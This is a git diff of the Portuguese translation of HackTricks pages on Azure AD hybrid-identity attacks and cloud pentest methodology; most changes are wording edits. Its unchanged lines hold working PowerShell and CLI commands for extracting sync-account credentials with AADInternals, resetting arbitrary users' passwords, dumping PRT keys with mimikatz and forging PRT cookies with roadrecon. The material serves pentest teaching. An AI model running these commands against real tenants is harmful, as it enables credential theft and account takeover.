@@ -36,7 +36,7 @@ Observe que podemos fazer isso com AADInternals e atualizar usuários sincroniza
 
 O sucesso do ataque e a obtenção de privilégios de Admin de Domínio dependem do cumprimento de certos pré-requisitos:
 
-- A capacidade de alterar contas via a API de Sincronização é crucial. Isso pode ser alcançado tendo o papel de Administrador Global ou possuindo uma conta de sincronização do AD Connect. Alternativamente, o papel de Administrador de Identidade Híbrida seria suficiente, pois concede a capacidade de gerenciar o AD Connect e estabelecer novas contas de sincronização.
+- A capacidade de alterar contas através da API de Sincronização é crucial. Isso pode ser alcançado tendo o papel de Administrador Global ou possuindo uma conta de sincronização do AD Connect. Alternativamente, o papel de Administrador de Identidade Híbrida seria suficiente, pois concede a capacidade de gerenciar o AD Connect e estabelecer novas contas de sincronização.
 - A presença de uma **conta híbrida** é essencial. Esta conta deve ser passível de modificação com os detalhes da conta da vítima e também deve ser acessível para autenticação.
 - A identificação de uma **conta de vítima alvo** dentro do Active Directory é uma necessidade. Embora o ataque possa ser executado em qualquer conta já sincronizada, o locatário do Azure AD não deve ter replicado identificadores de segurança locais, necessitando da modificação de uma conta não sincronizada para obter o ticket.
 - Além disso, esta conta deve possuir privilégios equivalentes a admin de domínio, mas não deve ser membro de grupos típicos de administradores do AD para evitar a geração de TGTs inválidos pelo RODC do AzureAD.
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
index 4f5fdf56c..dc06a9a2f 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -1,9 +1,9 @@
-# Az - Default Applications
+# Az - Aplicações Padrão
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 **Verifique a técnica em:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) e [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
 
-O post do blog discute uma vulnerabilidade de elevação de privilégios no Azure AD, permitindo que Administradores de Aplicativos ou Contas de Sincronização On-Premise comprometidas elevem privilégios ao atribuir credenciais a aplicativos. A vulnerabilidade, decorrente do comportamento "por design" do Azure AD em relação ao manuseio de aplicativos e principais de serviço, afeta notavelmente os aplicativos padrão do Office 365. Embora tenha sido relatado, o problema não é considerado uma vulnerabilidade pela Microsoft devido à documentação do comportamento de atribuição de direitos administrativos. O post fornece insights técnicos detalhados e aconselha revisões regulares das credenciais de principais de serviço em ambientes Azure AD. Para mais informações detalhadas, você pode visitar o post original do blog.
+O post do blog discute uma vulnerabilidade de elevação de privilégios no Azure AD, permitindo que Administradores de Aplicativos ou Contas de Sincronização On-Premise comprometidas elevem privilégios ao atribuir credenciais a aplicativos. A vulnerabilidade, decorrente do comportamento "por design" do Azure AD em relação ao manuseio de aplicativos e principais de serviço, afeta notavelmente as aplicações padrão do Office 365. Embora tenha sido relatado, o problema não é considerado uma vulnerabilidade pela Microsoft devido à documentação do comportamento de atribuição de direitos administrativos. O post fornece insights técnicos detalhados e aconselha revisões regulares das credenciais de principais de serviço em ambientes Azure AD. Para mais informações detalhadas, você pode visitar o post original do blog.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
index cf0cb4d21..3a2181bd6 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -23,7 +23,7 @@ Automaticamente, esse usuário será **sincronizado do AzureAD para o usuário d
 >
 > Além disso, foi relatado que **a sincronização de contas não é mais possível para contas de administrador**.
 
-## References
+## Referências
 
 - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 3adc75778..e914ebe91 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -1,10 +1,10 @@
-# Az - Federation
+# Az - Federação
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** é uma coleção de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos.
+[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**A Federação** é uma coleção de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos.
 
 Você pode **federar seu ambiente on-premises** **com o Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível.
 
@@ -20,16 +20,16 @@ Em qualquer configuração de federação, existem três partes:
 - Provedor de Identidade (IdP)
 - Provedor de Serviço (SP)
 
-(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
+(Imagens de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
 <figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
 
-1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como console AWS ou cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
+1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
 2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido.
-3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário.
-4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.
+3. O IdP assume, autenticando o usuário. Após a autenticação, um SAMLResponse é formulado pelo IdP e encaminhado ao SP através do usuário.
+4. Finalmente, o SP avalia o SAMLResponse. Se validado com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.
 
-**Se você quiser aprender mais sobre autenticação SAML e ataques comuns, vá para:**
+**Se você quiser saber mais sobre autenticação SAML e ataques comuns, vá para:**
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
@@ -38,31 +38,31 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
 ## Pivoting
 
 - AD FS é um modelo de identidade baseado em declarações.
-- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet."
-- As declarações para um usuário são escritas dentro dos tokens SAML e são então assinadas para fornecer confidencialidade pelo IdP.
-- Um usuário é identificado pelo ImmutableID. É globalmente único e armazenado no Azure AD.
+- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar o acesso a aplicativos baseados em declarações localizados em qualquer lugar na Internet."
+- As declarações para um usuário são escritas dentro dos tokens SAML e, em seguida, assinadas para fornecer confidencialidade pelo IdP.
+- Um usuário é identificado pelo ImmutableID. Ele é globalmente único e armazenado no Azure AD.
 - O ImmutableID é armazenado on-prem como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário.
 - Mais informações em [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
-**Golden SAML attack:**
+**Ataque Golden SAML:**
 
-- No ADFS, a SAML Response é assinada por um certificado de assinatura de token.
+- No ADFS, o SAML Response é assinado por um certificado de assinatura de token.
 - Se o certificado for comprometido, é possível autenticar no Azure AD como QUALQUER usuário sincronizado com o Azure AD!
 - Assim como nosso abuso de PTA, a mudança de senha para um usuário ou MFA não terá efeito porque estamos forjando a resposta de autenticação.
-- O certificado pode ser extraído do servidor AD FS com privilégios de DA e então pode ser usado de qualquer máquina conectada à internet.
+- O certificado pode ser extraído do servidor AD FS com privilégios de DA e, em seguida, pode ser usado de qualquer máquina conectada à internet.
 - Mais informações em [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
 ### Golden SAML
 
-O processo onde um **Provedor de Identidade (IdP)** produz uma **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável.
+O processo onde um **Provedor de Identidade (IdP)** produz um **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade do SAMLResponse, garantindo que foi realmente emitido por um IdP confiável.
 
-Um paralelo pode ser traçado com o [ataque de golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP.
+Um paralelo pode ser traçado com o [ataque golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonificação de qualquer usuário, concedendo acesso não autorizado ao SP.
 
 Golden SAMLs oferecem certas vantagens:
 
 - Eles podem ser **criados remotamente**, sem a necessidade de fazer parte do domínio ou federação em questão.
 - Eles permanecem eficazes mesmo com **Autenticação de Dois Fatores (2FA)** habilitada.
-- A chave privada de assinatura de token **não se renova automaticamente**.
+- A **chave privada de assinatura de token não se renova automaticamente**.
 - **Mudar a senha de um usuário não invalida** um SAML já gerado.
 
 #### AWS + AD FS + Golden SAML
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index 123adcbeb..a3f04155c 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -23,8 +23,8 @@ Quando um usuário local deseja acessar um recurso do Azure, a **autenticação
 
 Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**:
 
-- A conta **`MSOL_<installationID>`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) o que significa que possui **permissões de replicação (DCSync) no AD local**.
-- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD.
+- A conta **`MSOL_<installationID>`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
+- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas na nuvem) no Azure AD.
 
 As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
 O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
@@ -33,13 +33,13 @@ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\D
 
 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
 
-A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações é possível realizar elevação de privilégios para o AD e para o AzureAD.
+A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível realizar privesc para o AD e para o AzureAD.
 
 Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
 
 ### Encontrando o **servidor de conexão do Azure AD**
 
-Se o **servidor onde o Azure AD connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
+Se o **servidor onde o Azure AD Connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
 ```powershell
 # ActiveDirectory module
 Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
 #Azure AD module
 Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
 ```
-### Abusando MSOL\_\*
+### Abusando do MSOL\_*
 ```powershell
 # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
 Get-AADIntSyncCredentials
@@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
 
 # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
 ```
-É também possível **modificar as senhas de apenas usuários da nuvem** (mesmo que isso seja inesperado)
+Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
 ```powershell
 # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
 # The CloudAnchor is of the format USER_ObjectID.
@@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
 # Reset password
 Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
 ```
-É também possível despejar a senha deste usuário.
+É também possível extrair a senha deste usuário.
 
 > [!CAUTION]
 > Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 32b57edc4..541f543d2 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -22,7 +22,7 @@ Na mesma saída, você também pode ver se o **dispositivo está associado ao Az
 
 ## Cookie PRT
 
-O cookie PRT é na verdade chamado de **`x-ms-RefreshTokenCredential`** e é um JSON Web Token (JWT). Um JWT contém **3 partes**, o **cabeçalho**, **carga útil** e **assinatura**, divididos por um `.` e todos codificados em base64 seguros para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo:
+O cookie PRT é na verdade chamado de **`x-ms-RefreshTokenCredential`** e é um JSON Web Token (JWT). Um JWT contém **3 partes**, o **cabeçalho**, **payload** e **assinatura**, divididos por um `.` e todos codificados em base64 seguros para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo:
 ```json
 {
 "alg": "HS256",
@@ -34,7 +34,7 @@ O cookie PRT é na verdade chamado de **`x-ms-RefreshTokenCredential`** e é um
 "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
 }
 ```
-O **Primary Refresh Token (PRT)** real está encapsulado dentro do **`refresh_token`**, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indecifrável para nós. O campo **`is_primary`** significa a encapsulação do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o `request_nonce` é transmitido da página `logon.microsoftonline.com`.
+O **Primary Refresh Token (PRT)** atual está encapsulado dentro do **`refresh_token`**, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indecifrável para nós. O campo **`is_primary`** indica o encapsulamento do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o `request_nonce` é transmitido da página `logon.microsoftonline.com`.
 
 ### Fluxo do Cookie PRT usando TPM
 
@@ -48,8 +48,8 @@ Portanto, mesmo que o PRT não possa ser extraído porque está localizado dentr
 
 ## Cenários de Abuso do PRT
 
-Como um **usuário regular**, é possível **solicitar o uso do PRT** pedindo ao LSASS dados de SSO.\
-Isso pode ser feito como **aplicativos nativos** que solicitam tokens do **Web Account Manager** (corretor de tokens). O WAM passa a solicitação para o **LSASS**, que pede tokens usando a asserção PRT assinada. Ou pode ser feito com **fluxos baseados em navegador (web)** onde um **cookie PRT** é usado como **cabeçalho** para autenticar solicitações às páginas de login do Azure AS.
+Como um **usuário regular**, é possível **solicitar o uso do PRT** pedindo ao LSASS por dados de SSO.\
+Isso pode ser feito como **aplicativos nativos** que solicitam tokens do **Web Account Manager** (token broker). O WAM passa a solicitação para o **LSASS**, que pede tokens usando a asserção PRT assinada. Ou pode ser feito com **fluxos baseados em navegador (web)** onde um **cookie PRT** é usado como **cabeçalho** para autenticar solicitações às páginas de login do Azure AS.
 
 Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo TPM ou **interagir com as chaves PRT no LSASS** usando APIs criptográficas.
 
@@ -57,7 +57,7 @@ Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo T
 
 ### Ataque - ROADtoken
 
-Para mais informações sobre essa maneira [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
+Para mais informações sobre essa forma [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e o usará para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
 
 Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\
 Você pode obter isso com:
@@ -163,7 +163,7 @@ Então vá para [https://portal.azure.com](https://portal.azure.com)
 Você pode encontrar uma **explicação detalhada do processo realizado** para extrair esses detalhes aqui: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
 
 > [!WARNING]
-> Isso não funcionará exatamente após as correções de agosto de 2021 para obter os tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.
+> Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.
 
 Você pode usar **mimikatz** para extrair o PRT:
 ```powershell
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
 - Em seguida, vá para [https://portal.azure.com](https://portal.azure.com)
 
 > [!CAUTION]
-> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
+> O restante deve ser o padrão. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
 
 #### Opção 2 - roadrecon usando PRT
 
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
 
 #### Opção 3 - roadrecon usando chaves derivadas
 
-Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:
+Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar roadrecon para gerar um novo cookie assinado com:
 ```bash
 roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
 ```
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index 5b764ddf8..88eb34a19 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -1,4 +1,4 @@
-# Az - Permissions for a Pentest
+# Az - Permissões para um Pentest
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index db1263aad..f6878c8fb 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -6,7 +6,7 @@
 
 ## Metodologia Básica
 
-Cada nuvem tem suas peculiaridades, mas, em geral, há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente em nuvem:
+Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente em nuvem:
 
 - **Verificações de Benchmark**
 - Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados**
@@ -17,12 +17,12 @@ Cada nuvem tem suas peculiaridades, mas, em geral, há algumas **coisas comuns q
 - Isso ajudará muito nos próximos passos
 - **Verifique ativos expostos**
 - Isso pode ser feito durante a seção anterior, você precisa **descobrir tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado.
-- Aqui estou considerando **infraestrutura exposta manualmente**, como instâncias com páginas da web ou outras portas sendo expostas, e também sobre outros **serviços gerenciados em nuvem que podem ser configurados** para serem expostos (como DBs ou buckets)
+- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas da web ou outras portas sendo expostas, e também sobre outros **serviços gerenciados em nuvem que podem ser configurados** para serem expostos (como DBs ou buckets)
 - Então você deve verificar **se esse recurso pode ser exposto ou não** (informações confidenciais? vulnerabilidades? configurações incorretas no serviço exposto?)
 - **Verifique permissões**
 - Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas
 - Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark
-- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100)
+- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin seja atribuída a 1 usuário ou a 100)
 - Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**.
 - Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
 - **Verifique Integrações**
@@ -30,7 +30,7 @@ Cada nuvem tem suas peculiaridades, mas, em geral, há algumas **coisas comuns q
 - Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\
 Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
 - Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
-Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma nuvem AWS.
+Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acesso essa imagem terá quando executada dentro de uma nuvem AWS.
 
 ## Ferramentas Multi-Nuvem
 
@@ -91,7 +91,7 @@ prowler <provider> --list-services
 AWS, Azure, Github, Google, Oracle, Alibaba
 
 {{#tabs }}
-{{#tab name="Instalação" }}
+{{#tab name="Instalar" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -145,7 +145,7 @@ done
 ### [Steampipe](https://github.com/turbot)
 
 {{#tabs }}
-{{#tab name="Instalação" }}
+{{#tab name="Instalar" }}
 Baixe e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use o Brew:
 ```
 brew tap turbot/tap
@@ -238,11 +238,11 @@ Requer python2.7 e parece não estar mantido.
 
 ### Nessus
 
-Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
+Nessus tem uma _**Auditoria de Infraestrutura em Nuvem**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
+Cloudlist é uma **ferramenta multi-nuvem para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
 ```
 {{#endtab }}
 
-{{#tab name="Segunda Aba" }}
+{{#tab name="Second Tab" }}
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config </path/to/config>
@@ -302,10 +302,10 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
+Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
 
 {{#tabs }}
-{{#tab name="Instalar" }}
+{{#tab name="Install" }}
 ```bash
 # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/
 npm install --global yarn
@@ -416,6 +416,6 @@ azure-security/
 
 ### Office365
 
-Você precisa de **Admin Global** ou pelo menos **Leitor de Admin Global** (mas note que o Leitor de Admin Global é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via a aplicação web**.
+Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que o Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via a aplicação web**.
 
 {{#include ../banners/hacktricks-training.md}}